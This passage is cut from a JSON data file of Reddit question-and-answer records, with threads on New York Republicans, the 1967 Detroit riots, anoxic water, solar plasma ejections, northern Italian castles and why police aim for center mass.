as a Republican but compared to national GOP figures he was extremely moderate or even mildly liberal - he instituted Romneycare, which despite his protestations during the 2012 primaries was indeed a precursor and model for Obamacare. He was attacked mercilessly during his presidential runs by other Republicans for not being conservative enough.\n\nBasically, a Republican from New York would be considered a Democrat in Texas.", "A New York Republican is nothing like a Republican from a state like Texas.  In a state as liberal as New York, political views are essentially shifted to the left for everyone.  Democrats in the state tend to be more liberal than those you'd find in more conservative states, moderates are a little left of center, and Republicans would pass for moderates in other places.  In other words, even the most conservative Republicans who are successful in New York elections tend to be more liberal than Republicans from red states. ", "Just speaking of NYC: Anybody that wants to stand a chance running for mayor has to be pretty socially liberal at this point. So Republicans are different mainly for their stance on how to deal with city finances, the budget, entitlement spending within the city, etc. Otherwise I'd say they're probably pretty liberal compared to other parts of the country. That's why a local election can go red, even though nationally we're very blue.", "They elect politicians who, in national terms, are RINOs - Republicans In Name Only. They are typically political outsiders from deep blue states, usually disagreeing with the local Democratic party machine on some issues (corruption/cronyism [1]), but generally agreeing with Democrats in principle. \n\nA few examples:\n\nBloomberg - He was a registered Democrat until he decided he wanted to be mayor. He became a Republican, got elected, and then became an independent. Big proponent of abortion, gun control, and government power. \n\nGuiliani - Started off as a Democrat, became a Republican in the 80's. While Mayor of NY he pushed massive expansions of government healthcare, sided with Bush/Hillary in favor of torture (against McCain), is pro-abortion (including partial birth), and opposes the 2'nd amendment. \n\nRomney - He invented Obamacare/Romneycare, flipflops on whether he is pro-abortion, and tends to be pretty solidly blue in the rare case he actually expresses an opinion. \n\n[1] I am not attempting to imply that all Democrats are corrupt, merely that the party machines of NY/CA/NJ are (and probably MA as well). I suspect this has more to do with single party rule than  which particular party rules, but I know very little about the local politics of deep red states, having never lived in one. ", "It's less routine and just a product of the past 20 years that's coming to an abrupt ending with De Blasio. Giuliani was elected Mayor of NYC because crime was so rampant after the Dinkins Era, and Pataki won on the wave of Republican midterm success in 1994. Both were socially liberal and were able to win reelection on keeping their promises (and having weak opponents), and not wanting to rock the boat post-9/11. Mike Bloomberg was a Democrat until he switched parties to run for Mayor, and him outspending opponents by 100 million dollars didn't hurt. New York has not had a Republican Senator since Al D'Amato in 1998, so the routine you are describing may be overly subjective. ", "NYC does not routinely elect Republican Mayors. In the past 68 years there have been three, and 2 were part of the Liberal Party of New York. Which is much different than most Republican groups. In the 70 years before that there was 1 republican/fusion and 1 republican. And when you go back further than the Dixiecrats, what it means to be a Republican and what it means to be a Democrat are far different than what they mean today. \n\nAs to why Republican governors and not Presidents? Well, not all Republicans are created equally. Anyone running for president as a Republican is going to be far more conservative than the Republican candidate for Governor. ", "Political science PhD student checking in:\n\nWhile the people here are not wrong about the shift leftward in conservatism in NY compared to, say Texas, that is required to be elected, that's not necessarily what's going on here.  It is correct that a NY republican has to be more socially progressive than other states, but the true answer is a willingness to pay for a social program....taxes.\n\nThere is strong evidence that people will always say they want to \"help the less fortunate and the poor\" but when asked how much they'd be willing to pay to do that, the numbers are very low.  This is called the Willingness to Pay (WTP) for programs that are socially supported.  Across the board (both republicans and democrats), WTP is low.  \n\nAlthough most voters are unable to explain or justify why they do it, the logic is something like this: \"I'm going to vote for Obama  because I support socially liberal programs.  I'm going to vote for this Republican governor because I don't want my taxes to be raised.\"  ", "A good reverse example of this is Congressman John Barrow (D-Ga). He is a Democrat who has been continually reelected in a very red state. I believe that in a place like New York state he would be considered firmly conservative and could not even exist in that state's Democratic Party. He is pro-gun rights and is obviously against progressive tax structuring. It's quite obvious to intellectuals down here that if the GOP wasn't so outrageous in its over-the-top crazy talk on social issues the man would probably run as a Republican. Although, he may have a bit of an allegiance to the historically conservative/moderate Democratic politicians of the South: see his self-identification as a \"Blue Dog Democrat.\"  \n\nFun fact: To demonstrate just how fully wacky, right-wing the South is, Barrow is literally the only white, Democratic Congressman left in the Deep South (Alabama, Georgia, Louisiana, Mississippi, South Carolina). ", "One thing not mentioned is that a republican governor can be a check on a ggenerally democrat government that is growing too inefficient or pushing too much taxation and spending.\n\nPeople may not want republican policies, but they want checks on the government growth.", "The simple answer is that politicians always play to the electorate that needs to elect them.  If they don't, they're not actually politicians - they're just activists.\n\nSo, no matter how fringe right/left I am, I need to govern from some position that is politically viable within my political territory.\n\nConsequently, what you're seeing is the reflected difference in any given electorate: rural areas tend to more conservative than urban ridings; the South, as a whole, is a lot more conservative than the mountain west; and Massachusetts is more liberal than North Carolina.  But, there are regions within \"liberal\" states that are far to the right, for example: Orange County, California; Auburn Hills and the entire upper peninsula in Michigan and even parts of Massachusetts.  At the same time, Charlotte, NC is very liberal and the urban areas of Colorado have gotten so liberal they're moving the whole state to the Democratic column.", "National and local politics are very different. City council doesn't make decisions about foreign policy, national health care, immigration, or many of the other topics that get a lot of attention in Washington. Local politicians make decisions about local issues, and ideally, there will be two sides of that debate. Especially in a state where the majority favors one party on the national level, the two sides of local debates will be different than the two sides of the national debates. Therefore, in the Blue states you'll have Republican local politicians that vote democrat in the national election, and in Red states you'll have Democratic local politicians that vote Republican in national elections.\n\nAt least you hope that's what will happen. In my city, Philadelphia, we haven't elected a Republican Mayor in 30-40 years, and the local Republican party is literally a joke. The result: A one-party system with no checks and balances that is, unsurprisingly, corrupt. \n\nWe almost elected a Republican Mayor in 2006, and it was the most amazing election ever. [Find this documentary and watch it](_URL_0_)", "New York state has A LOT of republicans. The majority (based on my experience) seem to live outside of cities in insulated communities spread across the state. Particularly the more north and west you go from NYC, the more republican it seems to get (outside of major cities). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/The_Shame_of_a_City"], []]}
{"q_id": "40bmh1", "title": "In terms of race-relations, were the 1967 Detroit race riots the death knell for Detroit?", "selftext": "What accelerated \"white flight\" and leaving Detroit's black population in a state of decay? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/40bmh1/in_terms_of_racerelations_were_the_1967_detroit/", "answers": {"a_id": ["cyzfy5y"], "score": [2], "text": ["I saved this thread hoping to get some insight on something I am still studying. Unfortunately, still no comments!\n\nIn Thomas Sugrue's *Origins of the Urban Crisis: Race and Inequality in Postwar Detroit* he argues that Detroit's population was shrinking (especially the white population) as early as the 1950s. More and more factories were closing, moving to areas outside of Detroit city, or automating their lines and laying off workers. Mortgage lending practices like redlining also financially incentivized whites to move to outlying areas and suburbs-- loans were difficult or impossible to get in integrated areas and even areas in danger of integration. \n\nIn a parallel case, St Louis Missouri, the book *American Apartheid* stated that not a single government subsidized mortgage was approved within city limits between WWII and the early 70s-- if you wanted a cheap mortgage, your only option was to move to new construction in the suburbs. This was for two reasons: racism, and the refusal to subsidize the purchase of older homes. Only mortgages for the purchase newly constructed homes were subsidized under the GI bill.\n\nThe riot in 1967 reflected the horrible state of race relations, it didn't cause them. Relations were horrible in Detroit throughout the 40s and 50s as well, including a riot by whites against public housing for black war industry workers in the 40s. The threat of more riots quashed any future plans for integrated public housing, or even public housing for blacks alone. This riot is discussed in the Sugrue book, but [this wikipedia page is a good overview.](_URL_0_)\n\n(Full disclosure: I have not read the chapter specifically about the 1967 riot yet, I am just familiar with writing on other riots of that era. A member of the commission that studied the 1967 riots in Newark also recently spoke at my school and my comment reflects his statements/attitude. I will comment again if I discover something important I left out.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Detroit_race_riot_of_1943"]]}
{"q_id": "9qwx1x", "title": "how can water be low on oxygen (anoxic)?", "selftext": "I thought water is composed of H2O, so how can a body of water such as the Black Sea cannot contain oxygen? Isn't oxygen one of the parts that defines water, along with hydrogen?\n\nEdit: thank you all for the answers and clarifications.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9qwx1x/eli5_how_can_water_be_low_on_oxygen_anoxic/", "answers": {"a_id": ["e8ceuoe", "e8cf9v9", "e8cg6g7"], "score": [9, 4, 3], "text": ["It's not the molecules of water that are the problem, it's the oxygen gas which is dissolved in the water that's lacking. Fish and other aquatic organisms \"breath\" this dissolved oxygen, and when it's lacking, the water doesn't support life so well. ", "You can\u2019t split H2O into oxygen and hydrogen gas, that is extremely difficult and can only be done with high voltages.\n\nThe oxygen in water is dissolved oxygen, Kind of like dissolving Sugar, but you put oxygen gas instead. Water can only dissolve a small amount of oxygen, enough for fish to survive but far too little for humans.\n\nIn anoxic environments, even that small amount of dissolved oxygen is not reached. Due to many reasons, there can be a complete lack of dissolved oxygen in the water. Even plants die, because they need oxygen to carry out respiration in the short term, even though in the Long teen they can produce their own oxygen.\n\nThe only living things found in anoxic environments are anaerobic bacteria/ other microbes, which do not use oxygen to survive.", "This confusion is a problem with language. The oxygen in H2O and the oxygen that we breathe are two different (albeit related) things, which really ought to have their own names.\n\nThe first oxygen is an atom with eight protons that can form part of many different compounds, like water. The second is a molecule built of two oxygen atoms, which reacts energetically with other compounds (it makes things burn), and is what we aerobic organisms need to breathe."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2ku7hc", "title": "Could the sun ever eject a ball of plasma that would hit earth?", "selftext": "or is it so heavy that the suns gravity always pulls it back in?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2ku7hc/could_the_sun_ever_eject_a_ball_of_plasma_that/", "answers": {"a_id": ["clospzv"], "score": [64], "text": ["Yes, that is exactly what a ~~solar flare~~ coronal mass ejection is, and what causes the northern lights. It is also called a geomagnetic storm. [Here](_URL_0_) is an archive of plasma activity impacting the Earth and its effects.\n\nEdit: CME instead of solar flare"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.swpc.noaa.gov/alerts/archive/current_month.html"]]}
{"q_id": "3i4p6j", "title": "Where do the castles in Northern Italy come from?", "selftext": "A few days ago I caught a train heading North from Verona through Northern Italy towards Bavaria and noticed quite a few castles in the hills/valleys near towns. My understanding of Italy in the middle ages is that it was primarily made up of independent or loosely affiliated city states. What was going on in this region just South of Bavaria at this time? Where did these castles come from and who did they belong to?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3i4p6j/where_do_the_castles_in_northern_italy_come_from/", "answers": {"a_id": ["cudqmba"], "score": [7], "text": ["Of course, city states would never ever create a social situation whereby castles would become a thing. \nNo no, independent polities competing with each other in a narrow peninsula would clearly always get along. \n\n*Or not*. \n\nI'm tempted to start my post with *why* there were so many city-states in Italy, [I've already gone on digressions to that effect in the past](_URL_0_) and would probably bore you to death. I'm still deriving this answer from the one posted above. \n\nSo let's jump right to the eleventh century. The old roman cities (and some new ones) are the points of reference for local life; rendered all the more important by being seats of Bishops, who often acted as points of authority for local lords. The wealth of these cities meant public life was never really centered around the household of a single feudal landholder as in the rest of Europe. In Milan, for example, the landed families of Della Torre, Argentea, Baggio, Busto, Grassi and Caronia, along with many other smaller ones, all converged onto the Bishop of Milan instead of a classically \"Feudal\" overlord. \n\nSo let's clarify this point: Feudal Landholders existed in Italy. But thanks to the density of cities, the convergence of so many (locally) wealthy and powerful individuals, along with the influence of an \"Artisan\" class that could only exist thanks to the density of urbanization, meant that many cities developed a unique, vaguely democratic system of government. Although the system changed from city to city, most established a legislative/electoral council consisting of representatives from leading families, and often, the leaders of local artisans of merchants guilds were allowed to participate as well. Many cities elected a *Podest\u00e0*, who was often a leading citizen of *another* city to act as an arbiter. Thus, by the Year 1002, the cities of Crema, Cremona, Milan, Monza, Bergamo and Brescia were all thriving \"Communal Republics\". \n\nAlong with the Podest\u00e0, the most important elected job in the communes was that of *Capitano del Popolo*, or Captain of the People. He acted as a Commander-in-Chief when the city was threatened with war by a rival city, and commanded the cities' forces should they decide to conquer a neighboring city. Milan, Verona, Florence, and to a lesser extent, Padua, gained a reputation as \"Bully\" cities in northern Italy, expanding their territory far beyond their outskirts. \n\nSo you can imagine, then, why a prominent landowner near, say, Verona, would still have an incentive to fortify his county seat. Of course the city was the center of life (and where he would spend large chunks of his time), but his revenue, the rents he collected, and the income he derived from trade was still very much tied to his estates. Should the Milanese or Venetians take up arms against his city, he still had every interest (and obligation) to protect his serfs, especially if he and/or his sons were off to fight for his city. \n\nThat's not to mention the infighting that could happen *inside a single city*. Direct democracy, even if limited to a few dozen individuals, can mean things get rather messy. Starting from the mid 13th all the way up to the early 15th century, there was a trend for one family to dominate the others, and either pay lip service to the communal institutions while really ruling alone (like the Carrara in Padua, the Dovara in Cremona, and famously, the Medici in Florence) or sometimes outright dismantle them, often via bloody internal struggle against opposing families (like the Visconti in Milan, the Scaligeri in Verona, and the Ezzellini in Treviso and Vicenza). Keep in mind, it's not like these families had dropped everything to move to the cities; they were still feudal landholders, who held large estates and castles outside the cities from which they could call their own vassals to arms; many powerful lords, such as the Visconti's rivals, the Della Torre, were feudal lords of entire fortified burghs in addition to their various estates. Although they might draw as much income from trade as from rents and agriculture, the two things are linked; you need capital to start trade ventures, and society was still mostly agricultural.\n\nLastly, your train to Germany is travelling up the valley of the Adige River. Historically, that valley was ruled by the Prince-Bishop of Trent. Close to the border with the Holy Roman Empire, historically very close to the crown of Austria, and historically less dense and wealthy than the Padanian Plain, the feudal hierarchy was much stronger there (and much more dependent on land held by ecclesiastical institutions, a further testament to its slower development). Further, the Adige Valley leads to the Brenner Pass, which to this day remains an important crossing-point over the Alps and into Italy. With the occasional Imperial Army coming through, along with all sorts of ruffians and bandits that prayed on travelers, the construction of castles was more than accelerated. Also, keep in mind that although cities like Milan, Verona, and even Padua could once count on a ring of castles owned by the city's prominent families to mark out their territory and provide a first line of defense against invaders, the advent of gunpowder meant that many of these were converted to country villas, while others were outright demolished to make room for industrial/suburban sprawl on the last sixty years (or earlier Peidmont and Western Lombardy, the epicenter of the Italian Industrial Revolution). The growth of the Trentino-Alto Adige Region you saw on your train ride, on the other hand, is only really attributable to events of the past thirty-forty years (today, it is one of Italy's wealthiest regions, but this was not the case in the past). Consequentially, many medieval castles remained untouched. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/2sqn2y/why_exactly_did_italy_break_into_smaller/cnsshkg"]]}
{"q_id": "2nx6yj", "title": "why aren't cops trained to shoot the leg or a non fatal area? these seem to always go for kill shots.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2nx6yj/eli5why_arent_cops_trained_to_shoot_the_leg_or_a/", "answers": {"a_id": ["cmhqf82", "cmhqfp5", "cmhqgsi", "cmhqirf", "cmhqity", "cmhqoou", "cmhqpy3", "cmhqr1u", "cmhqv8i", "cmhqx8e", "cmhr39w", "cmhr3k0", "cmhr3lc", "cmhr4rw", "cmhr6d3", "cmhr709", "cmhraq7", "cmhrcpz", "cmhrcwc", "cmhreji", "cmhreok", "cmhrf5e", "cmhrlf2", "cmhrmqv", "cmhrrvu", "cmhrt5c", "cmhrz7x", "cmhrziq", "cmhs140", "cmhs8kd", "cmhsfr0", "cmhsk7b", "cmhslr8", "cmhsomx", "cmhsrae", "cmhsy0p", "cmhsy39", "cmht0gk", "cmht1gz", "cmht3ld", "cmht97h", "cmht9gm", "cmhthyd", "cmhtiv2", "cmhtiv3", "cmhtodj", "cmhtore", "cmhtoxl", "cmhtpc3", "cmhtsps", "cmhtst4", "cmhtt7s", "cmhtth8", "cmhtypz", "cmhu0tz", "cmhu63b", "cmhu7m8", "cmhu9qy", "cmhu9x2", "cmhudap", "cmhug7b", "cmhugim", "cmhul6y", "cmhunbp", "cmhuoxi", "cmhurpi", "cmhutn1", "cmhuwox", "cmhux34", "cmhuysr", "cmhv0o3", "cmhv3hb", "cmhv3s8", "cmhv4mc", "cmhv4wy", "cmhv64v", "cmhv9cn", "cmhvanv", "cmhvcis", "cmhvg73", "cmhvi71", "cmhvigx", "cmhvizp", "cmhvjsg", "cmhvk0o", "cmhvkwp", "cmhvn2c", "cmhvnvh", "cmhvou3", "cmhvpep", "cmhvpuq", "cmhvrp7", "cmhvrrn", "cmhvsis", "cmhvw16", "cmhvwd2", "cmhvwdh", "cmhvwfo", "cmhvwqz", "cmhvxel", "cmhw0ah", "cmhw0b0", "cmhw19p", "cmhw1we", "cmhw2yp", "cmhw3w8", "cmhw4ft", "cmhw4wn", "cmhw52u", "cmhw6ej", "cmhw7fn", "cmhw81d", "cmhw87b", "cmhw8zh", "cmhwaob", "cmhwec9", "cmhwfdz", "cmhwhx1", "cmhwj7a", "cmhwjbj", "cmhwjs0", "cmhwk0n", "cmhwk1w", "cmhwkt8", "cmhwkvh", "cmhwl13", "cmhwlrv", "cmhwp1o", "cmhwvda", "cmhwzrm", "cmhx1ri", "cmhx1uk", "cmhxd19", "cmhxf06", "cmhxfmm", "cmhxfr5", "cmhxhqd", "cmhxjvy", "cmhxkoi", "cmhxljc", "cmhxnq8", "cmhxpx1", "cmhxsn8", "cmhxtid", "cmhxwaw", "cmhxwcq", "cmhxwgb", "cmhxyb8", "cmhxz3r", "cmhxzts", "cmhyes9", "cmhyi02", "cmhyk0c", "cmhyoxr", "cmhyphl", "cmhys3e", "cmhywc6", "cmhywo0", "cmhyyfw", "cmhz1qd", "cmhz2j4", "cmhz2jn", "cmhz2lv", "cmhz2xw", "cmhzcd6", "cmhzess", "cmhzf8n", "cmhzfid", "cmhzicm", "cmhzjs7", "cmhzkb6", "cmhzqn8", "cmhzqsb", "cmhzufy", "cmi01hj", "cmi02a6", "cmi054b", "cmi05ts", "cmi069r", "cmi079l", "cmi0j5d", "cmi0m7l", "cmi0mx3", "cmi0pdj", "cmi0q2u", "cmi0rrb", "cmi0yza", "cmi12bj", "cmi15re", "cmi16ae", "cmi17e7", "cmi1jvs", "cmi1o6o", "cmi1q61", "cmi1rqg", "cmi1tua", "cmi1wad", "cmi2b3n", "cmi2c24", "cmi2f63", "cmi2ist", "cmi2ttp", "cmi32mx", "cmi342o", "cmi35kb", "cmi36ph", "cmi38km", "cmi3gmg", "cmi3iwx", "cmi3lca", "cmi3m9b", "cmi3rwa", "cmi3vzi", "cmi3wme", "cmi4eo8", "cmi4o6v", "cmi4ot7", "cmi4r3w", "cmi4uxp", "cmi4zlz", "cmi500b", "cmi50r8", "cmi53y2", "cmi57fb", "cmi5esl", "cmi5ncj", "cmi5phq", "cmi5q1c", "cmi5tqe", "cmi5trj", "cmi5xfr", "cmi604y", "cmi63nt", "cmi65s5", "cmi67ya", "cmi6bwm", "cmi6d3z", "cmi6ei8", "cmi6gn0", "cmi6ihx", "cmi6mpm", "cmi6nhc", "cmi6o15", "cmi6y5e", "cmi6za2", "cmi78d6", "cmi79yb", "cmi7acg", "cmi7dl8", "cmi7dyl", "cmi7n7f", "cmi7ud2", "cmi82dz", "cmi82rl", "cmi89lh", "cmi8oqe", "cmi8r2r", "cmi9fe0", "cmi9tbj", "cmi9yde", "cmiadtj", "cmib8ko", "cmibyxm", "cmic2xt", "cmicunn", "cmieapz", "cmier24", "cmif5ar", "cmif70u", "cmifv45", "cmifwi3", "cmigtoo", "cmih0bq", "cmih9ja", "cmihaef", "cmii074", "cmii47v", "cmiiigm", "cmikcm5", "cmil52h"], "score": [123, 3136, 3, 29, 2541, 58, 3, 5, 6, 18, 3, 5, 23, 2, 6, 2, 10, 2, 2, 2, 838, 178, 2, 4, 11, 711, 2, 3, 7, 2, 2, 2, 16, 2, 2, 10, 8, 2, 45, 2, 2, 2, 2, 2, 4, 17, 2, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 2, 2, 3, 2, 5, 2, 3, 15, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 3, 4, 2, 2, 2, 2, 2, 6, 2, 2, 2, 2, 2, 3, 24, 2, 2, 5, 2, 2, 30, 2, 2, 3, 3, 3, 2, 2, 2, 2, 5, 2, 3, 4, 2, 3, 2, 2, 2, 3, 2, 2, 3, 2, 2, 91, 2, 3, 2, 2, 2, 2, 3, 2, 2, 2, 4, 2, 2, 2, 2, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 3, 2, 2, 2, 2, 2, 2, 3, 2, 2, 3, 2, 2, 2, 3, 2, 5, 3, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 2, 2, 2, 2, 3, 2, 2, 2, 3, 2, 2, 2, 3, 2, 2, 2, 3, 3, 3, 2, 2, 2, 3, 3, 3, 2, 2, 2, 2, 2, 5, 3, 3, 2, 2, 2, 2, 2, 3, 2, 3, 2, 2, 2, 2, 2, 3, 2, 2, 2, 8, 2, 2, 3, 2, 7, 9, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 6, 2, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3], "text": ["Cops are trained to shoot only when their life, or the life of someone else, is in serious danger, for example when they believe someone else is shooting or about to shoot.\n\nIn these situations, a leg shot may not be enough to stop that person shooting.\n\nRemember, their only aim *at this point* is to save their own life and that of members of the public. Everything else can come later.\n\nAt least, that's how it's supposed to work....", "Shooting is hard. Even a well trained marksman still won't be able to hit a moving leg most of the time. If you're shooting someone, you better be prepared to kill them because while most bullets aren't fatal even if they aren't in the leg, it's basically impossible to choose whether your shot will kill or not. And if you're planning on shooting someone, you'll have the best chance of hitting if you shoot towards the bigger target- their chest.", "I've asked this question myself and this is my interpretation: Most officers are taught to only use lethal force (i.e. a gun) if they feel their lives are being threatened. Do some police abuse this rule? Sure, anybody might. Are they right to abuse it? No. But do I feel safer if I know my local police force has access to civilian level firearms. Yes.", "If you're shooting, you shoot to kill.\n\nMostly, therefore, you shouldn't be shooting. ", "Most weapons training will tell you to aim for center-mass. It's difficult to hit a moving target to begin with, but when it's a thin target as well  (like a leg) it's even harder. Chest is your best bet to actually hit the target and often times that isn't a guaranteed kill shot. People can keep coming with a surprising amount of damage. ", "There's no such thing as a 'non-fatal area'. Every shot has a chance of causing a fatal injury even in less lethal areas such as the legs (which have the femoral artery, etc) or the arms (radial artery, etc), and even if it isn't immediately lethal, it may cause complications that do lead to injury. \n\nOfficers are trained to only draw if they are authorized to use their gun lethally, against lethal force being used against themselves or others, after other options have been exhausted or would prove dangerously infeasible. \n\nAdditionally the leg and arm are small, constantly moving targets. I don't know if you've ever tried shooting a handgun, but try it yourself at a range, where you are under no time constraints and are given ample time to react to a target with regular, predictable motion. \n\nSet your target to start at 15 feet and slowly move away from you, while you attempt to hit the arm without missing or hitting anything else. \n\nYou will find it to be difficult. This is under controlled conditions. \n\nNow imagine trying to hit it while it is moving in 3D axes, under stress, possibly under threat of being shot.", "A shooter aims for center mass because its the most reliable way to stop a moving target. You have the greatest chance of hitting a Central Nervous System (CNS) area or vital organs which will keep the target from advancing or fighting back. An attacker who is high on PCP or the like or is just determined to continue will ignore pain or injury unless stopped by forces he cannot control, like a CNS or vitals shutdown. ", "Not everyone is Kevin Vickers, and a pistol will only hit a moving target 1/4 times (side note, if someone's threatening you with a pistol and you can put some distance between you and them while they're distracted, do it, and don't run in a straight line). So count that with the fact that legs are small targets, and the person may not even go down. Sure if they get the knee cap you'll have a hard time running, but that's an even smaller target. They aim for the chest because it is a fair sized target and people go down the fastest. Then add what /u/londonpilot said about threats and stuff, and that's your answer why.", "Firearms are meant to be used ONLY to kill. Not to take down a fleeing target, not to stop a target advancing, but to ONLY kill. Firearms are lethal-force only weapons.\n\nSo aiming for the center of mass is the easiest place to kill someone. Also why you'll commonly hear of someone getting shot multiple times - once an officer starts firing, its typical to simply keep firing until the target is down, rather than take single, pin-point shots to somewhere like the legs.\n\nTL;DR Officers only shoot to kill.", "I remember in high school we had a police officer do a presentation and a girl asked this question. What the officer said was 'if I have to fire my gun, every shot counts, because, I only fire my gun to protect my self or another as a last resort. I can't not afford to miss by that point and firing at anything that isn't centre mass with a pistol is extremely hard to hit, it's effectively luck in a fast paced situation, and, even if I could hit his leg or arm once it would likely not stop him.' \n\nEdit: I just remembered, the officer was stressing how little time there is to respond usually. \n\n", "When you're shooting someone with a lethal weapon, aiming somewhere non-lethal will more often than not just piss them off and put your life at greater risk. ", "Law enforcement are trained to stop the threat.  This happens via shooting at center mass until the threat is netralized, often seen as being on the ground.  The largest target on a human body is the torso (center mass), which also happens to be full of vital organs, making shooting it even more effective in terms of incidental or after the fact lethality.  In a law enforcement shooting it is rare for the officers to know that they are going into a situation that requires lethal force (short of SWAT), ie, cops don't walk up to a guy knowing they have to shoot him.  When a shooting does happen it is because there has been a situation or series of events that are sudden, unexpected, and have lead up to the point that the officer must defend their own life and/or the lives of others.  This is a very high stress, automatic, and fearful reaction.  They being said, a leg shot or shooting the gun out of their hand is impractical, as that requires fine motor skills and time that are simply not available in a life and death situation.\n\nSource: arms dealer, working and training with primarily with LE and government enteties.", "I have family who were RCMP (Canadian police), now retired and I have asked the same question.\n  \nIn their training they are shown that a suspect with a knife can cross a 20 foot separation between them and the officer in less time than it takes the officer to draw their weapon and fire.\n  \nIn a crisis situation, they are trained to aim at the biggest target.  The torso, or as has been said earlier, the center of mass.  You cannot realistically expect, in a split second decision to hit a leg or arm, and certainly not shoot a weapon out of a suspect's hands.\n  \nThe only (and THEY stressed to me) ONLY time you can reasonably expect to incapacitate with a hit to the extremities is if the police shooter is a sniper.  They have the time to line up the shot, \"hold the zero\" (google it) and make the appropriate decision.\n  \nReal life is not like in the hollywood cop shows. ;)", "I'm not even sure a five-year old would understand the concept of restraint in law enforcement, but if I had to answer...\n\nA good cop only shoots someone when he has no other choices left.  He's shooting because he has to stop a dangerous person from hurting himself or other people.  Sadly, the best way to stop someone with a gun is to shoot them in the chest, which can also easily kill.  ", "There is a major artery in your leg, and another one in your arm.\n\nBeing shot in either of those two limbs could sever those arteries and kill you in seconds. You know people commit suicide by slitting their wrists... right?\n\n_URL_0_\n\nIf you aren't intending to kill, you should not be using a weapon designed to kill.", "Because, contrary to what films show, getting shot does not always instantly stop an assailant. If an officer is firing, in theory it's because they feel lives (possibly theirs) are in danger, and the threat needs to be taken out quickly and decisively.\n\nIt's worth having a read about the [86 Miami shootout](_URL_0_). 2 robbers, 8 FBI agents, around 145 shots fired in 5 minutes *in close quarters* before they were finally killed, murdering 2 agents in the process and wounding others.", "My dad is LE, but kinda similar. His shooting instructors always said, if lethal force is warranted by the situation, then you need to quickly and effectively use that to defeat the threat and manage the situation. \n\nBasically I get it as, at that point, don't worry about aiming for the legs or something, just get that reticle center-mass and Fire. \n\nAlso, something you guys don't tend to get is that shooting a real gun is very difficult, even trained marksmen have trouble finding a leg over 21 feet in a range, much less an adrenaline fueled lethal scenario.\n", "As a side note, there really isn't such a thing as a non-fatal area.  All else being equal, you're less likely to die from a bullet in the leg than you would from a bullet to the chest, but if that leg shot severs the femoral artery, you're done.   ", "Because real life shooting isn't like video games or what you see in the movies.  ", "Two reasons.\n\nOne: These are cops, trained to control civilian situations and dispense justice in a manner in accordance to the law. They are not trained gun fighters. Hitting an extremity would be a difficult shot at even close-mid range on a STANDING target, not one running at you.\n\nSecondly: The police are trained to only use their weapons in a critical situation. Not whenever someone runs. This leads to a situation where the police officer in question is expected to make a hard shot to someone trying to cause them harm. Essentially to place their own life at risk in a situation against a violent aggressor, we don't pay them enough for that.\n\nI agree with the general concept of wanting less dead people on the street, we should start by getting some of these very rare cops who shoot to kill an unarmed civilian from behind and prosecuting them.", "Cop here.\n\nWe are trained to shoot at \"center mass\" just like our military is trained to shoot along with anyone else who has ever taken a firearms course. \n\n[We aim at center mass because it is the most forgiving in error.](_URL_0_) Up, down, left or right, you have some leeway.\n\nAnd you're going to need that leeway for when that adrenaline surge hits, you aim at a moving target, you start to move to get out of their aim point, all while keeping an eye on the backdrop to make sure your shots won't hit civilians while you defend your life or the life of another.\n\nWe aim for the largest target and shoot until the threat to life is stopped. The best way to do that is to shoot at the largest possible target and shoot until it is no longer a threat, and that is how we train.", "A lot of answers here draw attention to the difficulty of making a leg shot, rather than a chest shot (or a head shot, for that matter). This is true, but not the most critical reason.\n\nIf an officer is drawing his weapon, **it is an absolute last resort.** A gun is easily capable of *taking a life* whether its user fully intends to or not. Say they go for the knee shot and end up killing the assailant. Now what?\n\nLet's go to an alternate world where police officers are just issued guns and only guns, rather than less lethal weapons, but are trained to use the gun as a less lethal weapon. Go for the knee, they're told. Got a methhead acting up. Taser? No, draw the gun *and shoot at him.* Dispersing a riot? Bean bags? No, *kneecap them.* Exceptionally fit male resisting arrest? Baton? *Shoot.*\n\nStarting to see the problem here? In all these situations, you are using a very deadly instrument in place of a less lethal weapon. In all of the situations, it is extremely easy for the alleged assailant to be killed, as well as bystanders. In all of these situations, it opens a very scary door for a officer to be able to say \"I was trying to slow him down a little and he ended up **dead**\" especially if they happen to employed in... Ohio or something.\n\n**tl;dr a gun NEEDS to be a last resort and only that**", "No matter how you splice it, a gun is a deadly weapon and all uses count as using deadly force.  No matter where you ***try*** to shoot someone you can kill them.  If you aim for the shin you could hit them in the upper thigh, which has some huge blood vessels and kill them.  Aim for an arm?  You fucked up and hit them in the gut, which is rich in blood vessels.\n\nGenerally, you train people to shoot only places : center mass of the torso or the head.  When things come down to go time people will revert to what they have done thousands of times.  And if you are anything near a decent marksman you have fired various rounds through various guns hundreds of time.  And you will be trained to shoot center mass so you or your team does not die.\n\n", "Someone can still shoot back, even if their fatally wounded. You wanna get into the talk about protecting innocent people? Imagine if police were trained to only \"wound\". People could still get hurt. Along with police officers! If there's a reason to shoot someone, then shoot them. If other measures can be employed to de-escalate the situation, then that should be done. \n\nTazers are a wonderful option that they have access to, and they work great! But if the individual has a gun... Should you really be forced to use a tazer? What if that shit misses. Or him tensing up causes the gun to fire??", "Well,, I don't know about US or other countries, but Norwegian police is trained to shoot for the legs. Shots at center mass is meant to be reserved for situations where they're backed into a corner with no other means of 